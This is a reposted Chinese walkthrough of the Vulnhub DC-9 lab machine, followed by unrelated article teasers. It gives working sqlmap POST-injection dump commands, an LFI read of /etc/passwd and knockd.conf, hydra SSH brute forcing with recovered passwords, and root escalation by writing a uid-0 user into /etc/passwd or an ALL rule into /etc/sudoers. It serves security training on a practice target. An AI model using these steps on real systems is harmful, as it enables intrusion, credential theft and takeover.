[Vulnhub] DC-9

news2024/11/11 7:23:55

前言:

打了这么长时间,终于,DC系列1-9 靶机已经干完了。通过这九个靶机的历练,都是单靶机 感觉远远不足,但也不是没有收获,学到了一些工具和提权的简单利用,大概知道了什么是反弹shell,什么是提权。对linux里一些文件信息也清楚了一些。windows以及内网的一些靶机还没有搭过对应靶场进行训练,后续打算向这些方向去学习一下,同时再巩固刷一下近期CTF里的一些题目 keep on💪💪

下载链接:DC: 9 ~ VulnHub

知识点:

  • sqlmap post跑盲注
  • hydra爆破
  • 添加root权限组用户提权/写入/etc/sudoers提权

目录

<1> 信息搜集

(1) sqlmap跑出admin密码

(2) 端口敲门

<2> hydra爆破ssh登录

<3> Privilege Escalation(提权)

方法一:写入/etc/passwd 添加root权限组用户提权

方法二:写入/etc/sudoers令fredf获得(root)ALL权限


<1> 信息搜集

扫一下靶机的ip

nmap -sP 192.168.236.0/24 扫描一下靶机ip (arp-scan-l快一点)

靶机ip: 192.168.236.139

nmap -A -p 1-65535 192.168.236.139 扫描一下靶机开放哪些服务 (也可以先masscan看看开了什么端口,然后对特定端口去扫描一下)

扫到了22端口 ssh服务,但是状态是 filtered  开放了80端口 http服务

(1) sqlmap跑出admin密码

访问http服务,发现result.php存在sql注入, Mary'#会正常返回  字符型注入

 可以利用bool盲注,爆破表名字段名  这里直接用sqlmap去跑一下

sqlmap -u "http://192.168.236.139/results.php" --method POST --data "search=Mary" --batch --dbs

 查看users数据库里都有什么

sqlmap -u "http://192.168.236.139/results.php" --method POST --data "search=Mary" --batch -D users --tables

只有一个UserDetails表 看看表里内容 dump出来

sqlmap -u "http://192.168.236.139/results.php" --method POST --data "search=Mary" --batch -D users -T UserDetails --dump

 得到了一些用户的账号和密码。

同理跑一下Staff库里内容,有一个Users表应该是有用的,没用的就不放出来了

sqlmap -u "http://192.168.236.139/results.php" --method POST --data "search=Mary" --batch -D Staff -T Users --dump

 应该是一串 MD5 拿去somd5解密一下  得到:transorbital1

 回到页面 manage处登录一下admin,成功登录

 看见下面一个 File does not exist 难道哪里用到了include函数吗?是不是存在LFI漏洞

测试 ?file=../../../../etc/passwd 确实存在

 

(2) 端口敲门

 22端口是filter状态,有过滤。到这里不知道怎么办了,查看其他人文章得知,考察了 端口敲门

 靶机使用了Knockd进行防护,们只要通过顺序敲击端口,防火墙才会打开被隐藏端口.

原理:

        端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

即 知道它的自定义一系列端口后,依次对其进行敲门,然后就可以开启ssh服务从而进行连接了。它的默认配置文件为:/etc/knockd.conf 

我们利用刚刚测试存在的LFI漏洞,去包含一下knockd服务的配置文件 获得自定义的端口

 

 openSSH的一系列序列号为:7469,8475,9842

apt install knockd
knock 192.168.236.139 7469,8475,9842

nmap -p 22 192.168.236.139 再查看以下 20端口ssh开放情况 变为open

<2> hydra爆破ssh登录

 这里我们利用之前sqlmap爆破出来的 账号密码,分别写入user.txt pass.txt,hydra爆破一下ssh登录

hydra -L user.txt -P pass.txt 192.168.236.139 ssh

 爆破出来三个:

login: chandlerb   password: UrAG0D!
login: joeyt   password: Passw0rd
 login: janitor   password: Ilovepeepee

 chandlerb,joeyt没什么东西,在janitor用户下,发现了 .secrets-for-putin  里面有password文件

可能是其他用户的一些密码,我们再生成一个密码文件,爆破一下

 得到新的用户 fredf 的密码B4-Tru3-001

<3> Privilege Escalation(提权)

登录fredf之后,sudo -l 发现fredf可以以root身份,无需密码执行 /opt/devstuff/dist/test/test程序

 

找找test.py在哪:

find / -name "test.py" 2>/dev/null
/opt/devstuff/test.py

test.py在/opt/devstuff下,我们去看一下这个程序

python脚本,执行的是一个,读写的操作。

方法一:写入/etc/passwd 添加root权限组用户提权

既然拥有root权限,我们可以用openssl工具构造一个拥有root权限的用户,写入到/etc/passwd文件中,登录此用户,从而得到root
回到kali使用openssl工具先生成一个本地的加密用户的信息:

openssl passwd -1 -salt admin 111111

 -1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密,默认选项 加点盐:

 

不能有奇怪的符号,/ \ . 等

 回到靶机中,echo命令写入到/tmp目录下文件a中

echo 'admin:$1$admin$2WRLhTGcIMgZ7OhwCpREK1:0:0::/root:/bin/bash' >> /tmp/a  密码111111
sudo ./admin /tmp/a /etc/passwd
su admin

或者: 
echo "1vxyz:sXuCKi7k3Xh/s:0:0::/root:/bin/bash" > /tmp/a  这个密码为toor
sudo ./admin /tmp/a /etc/passwd
su 1vxyz

但是不知道为什么写入免密的 root 权限用户不行。 1vxyz::0:0:::/bin/bash

 

方法二:写入/etc/sudoers令fredf获得(root)ALL权限

echo "fredf ALL=(root) ALL" > /tmp/a
sudo ./test /tmp/a /etc/sudoers

 sudo su 输入fredf的密码  拿到root权限 得到flag

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/188786.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

UE实现人物角色沿样条线移动效果

文章目录 1.实现目标2.实现过程2.1 实现思路2.2 具体过程3.参考资料1.实现目标 实现人物角色Character按样条线Spline自动移动效果,GIF动图如下。 2.实现过程 2.1 实现思路 (1)获取某一时刻样条线上点的位置,直接使用GetLocationAtTime函数即可。 (2)实时更新Characte…

Python Windows Apache部署Django项目运行环境(含Mysql)以及解决过程中遇到的问题

上一篇请移步Python Windows Apache部署Django项目运行环境_水w的博客-CSDN博客 本文是在上一篇的基础上&#xff0c; 进行后续工作。 目录 一、配置数据库&#xff08;MySQL&#xff09; 1、Mysql配置 2、安装MySQL管理工具SQLyog 【解决过程中遇到的问题】 解决报错&am…

java泛型2

真正搞定泛型&#xff01;&#xff01;&#xff01;------- >类型形参 所谓泛型&#xff0c;就是允许在定义类、接口、方法时使用类型形参&#xff0c;这个类型形参&#xff08;或叫泛型&#xff09;将在声明变量、创建对象、调用方法时动态地指定&#xff08;即传入实际的类…

【看表情包学Linux】进程的概念 | 进程控制块 PCB | 父进程与子进程 | 进程 ID | task_struct

&#x1f923; 爆笑教程 &#x1f449; 《看表情包学Linux》&#x1f448; 猛戳订阅 &#x1f525; &#x1f4ad; 写在前面&#xff1a;本章我们将带着大家深入理解 "进程" 的概念&#xff0c;"进程" 这个概念其实使我们一直在接触的东西&#xff0c;只不…

一文深入搞懂 mmap 涉及的所有内容

内存映射&#xff0c;简而言之就是将内核空间的一段内存区域映射到用户空间。映射成功后&#xff0c;用户对这段内存区域的修改可以直接反映到内核空间&#xff0c;相反&#xff0c;内核空间对这段区域的修改也直接反映用户空间。那么对于内核空间与用户空间两者之间需要大量数…

一文讲清同步异步,消息队列,宏任务 微任务...

单线程多线程 什么是线程进程? 进程&#xff1a;是cpu分配资源的最小单位&#xff1b;&#xff08;是能拥有资源和独立运行的最小单位&#xff09; 线程&#xff1a; 是cpu调度的最小单位&#xff1b;&#xff08;线程是建立在进程的基础上的一次程序运行单位&#xff0c;一…

Kafka第一章:环境搭建

系列文章目录 Kafka第一章&#xff1a;环境搭建 文章目录系列文章目录前言一、环境安装1.前置环境2.软件下载3.上传集群并解压4.编写配置文件5.分发配置文件6.修改参数7.环境变量8.启动服务9.编写启动脚本二、主题命令行操作1.查看topic2.创建 first topic3.查看主题的详情4.修…

录制屏幕为什么没有声音?教您录制声画同步的视频

有时我们只顾着录制电脑的画面&#xff0c;而忽视了录制视频的声音&#xff0c;导致录制的视频文件只有画面没有声音。那您知道录制的视频为什么没有声音吗&#xff1f;怎样才能录制声画同步的录屏文件呢&#xff1f;想要录制带声画同步的视频&#xff0c;首先您得拥有一款支持…

[kubernetes]-k8s通过psp限制nvidia-plugin插件的使用

导语&#xff1a; k8s通过psp限制nvidia-plugin插件的使用。刚开始接触psp 记录一下 后续投入生产测试了再完善。 通过apiserver开启psp 静态pod会自动更新 # PSP(Pod Security Policy) 在默认情况下并不会开启。通过将PodSecurityPolicy关键词添加到 --enbale-admission-plu…

【Cocos新手入门】使用 cocos creator 创建多个场景,并通过代码和事件绑定进行切换场景的方法

本篇文章主要讲解使用 cocos creator 创建多个场景&#xff0c;并通过代码和事件绑定进行切换 作者&#xff1a;任聪聪 日期&#xff1a;2023年1月31日 cocos 引擎版本 2.4.3 场景的创建 步骤一、右击资源管理器下的assets目录&#xff0c;点击新建&#xff0c;献出案件一个sc…

NX二开ufun函数UF_MODL_create_section_surface(样条曲线构建截面特征)

本节主要介绍通过样条曲线及截面OPEN API结构体构建截面特征&#xff0c;函数名 UF_MODL_create_section_surface&#xff0c;效果图如下&#xff1a; 1、函数结构 int UF_MODL_create_section_surface &#xff08; UF_MODL_secsrf_data_p_t section_surface_data&#xff0c…

vue2 数据响应式Object.defineProperty

我们通常可以对进行输入框进行数据的监听&#xff0c;只需要用到了input 事件或 change事件&#xff0c;就可以实时监听到数据的改变&#xff0c;但是如果只是一个单独的数据呢&#xff1f;怎么去做监听&#xff0c;watch吗&#xff1f;&#xff1f;哈哈。 所以 vue响应式就用…

基于微信小程序的懒人美食帮小程序

文末联系获取源码 开发语言&#xff1a;Java 框架&#xff1a;springboot JDK版本&#xff1a;JDK1.8 服务器&#xff1a;tomcat7 数据库&#xff1a;mysql 5.7/8.0 数据库工具&#xff1a;Navicat11 开发软件&#xff1a;eclipse/myeclipse/idea Maven包&#xff1a;Maven3.3.…

graalvm把springboot 3.0应用编译为原生应用

文章目录1、GraalVM Native Support依赖2、编译为原生应用2.1、编译为docker镜像2.2、编译为原生应用文件之前的文章《Graalvm 安装和静态编译&#xff08;https://blog.csdn.net/penngo/article/details/128006244&#xff09;》介绍了graalvm的安装和环境配置&#xff0c;普通…

【Rust】6. 结构体与方法

6.1 结构体的定义和实例化 6.1.1 结构体定义、创建实例 6.1.2 创建实例&#xff1a;字段初始化简写语法 6.1.3 创建实例&#xff1a;结构体更新语法&#xff08;注意&#xff1a;数据的移动特性&#xff01;&#xff09; .. 语法&#xff1a;指定了剩余未显式设置值的字段应有…

通信原理笔记—差分脉冲编码调制

目录 差分脉冲编码调制(DPCM)&#xff1a; 预测编码&#xff1a; 预测编码的基本原理: 信号预测的基本方法: ΔPCM与DPCM的主要区别: 差分脉冲编码调制(DPCM)&#xff1a; 实际信源的特点&#xff1a;实际信源大都是有记忆的信源&#xff1a;信源的相邻输出符号间(如&…

无广告,小体积,实用性拉满的5款软件

人类与99%的动物之间最大差别在于是否会运用工具&#xff0c;借助好的工具&#xff0c;能提升几倍的工作效率。 1. 无损放大图片——Bigjpg 大杀器&#xff01;深度卷积神经网络实现噪点和锯齿部分补充&#xff0c;从而达到图片无损放大。图片边缘也不会有毛刺和重影,。更重要…

(深度学习快速入门)第四章第二节:什么是卷积神经网络

文章目录一&#xff1a;为什么DNN不适合图像处理&#xff08;1&#xff09;图像的空间信息被丢失&#xff08;不具备空间不变性&#xff09;&#xff08;2&#xff09;参数爆炸二&#xff1a;什么是卷积神经网络三&#xff1a;CNN应用一&#xff1a;为什么DNN不适合图像处理 &…

【关于PostgreSQL的系统信息函数的OID】

一、自带的OID的相关脚本 在PostgreSQL的安装包的src/include/catalog目录下&#xff0c;有着两个脚本&#xff0c;unused_oids和 duplicate_oids。通过这两个可执行脚本&#xff0c;可以查看当前源码包配置里的符合要求的OID。unused_oids可以查看若根据当前源码包初始化产生…

YOLOv5训练结果性能分析

入门小菜鸟&#xff0c;希望像做笔记记录自己学的东西&#xff0c;也希望能帮助到同样入门的人&#xff0c;更希望大佬们帮忙纠错啦~侵权立删。 可参照以下博客一起看&#xff08;涉及一些概念解析&#xff09;深度学习之常用模型评估指标&#xff08;一&#xff09;—— 分类…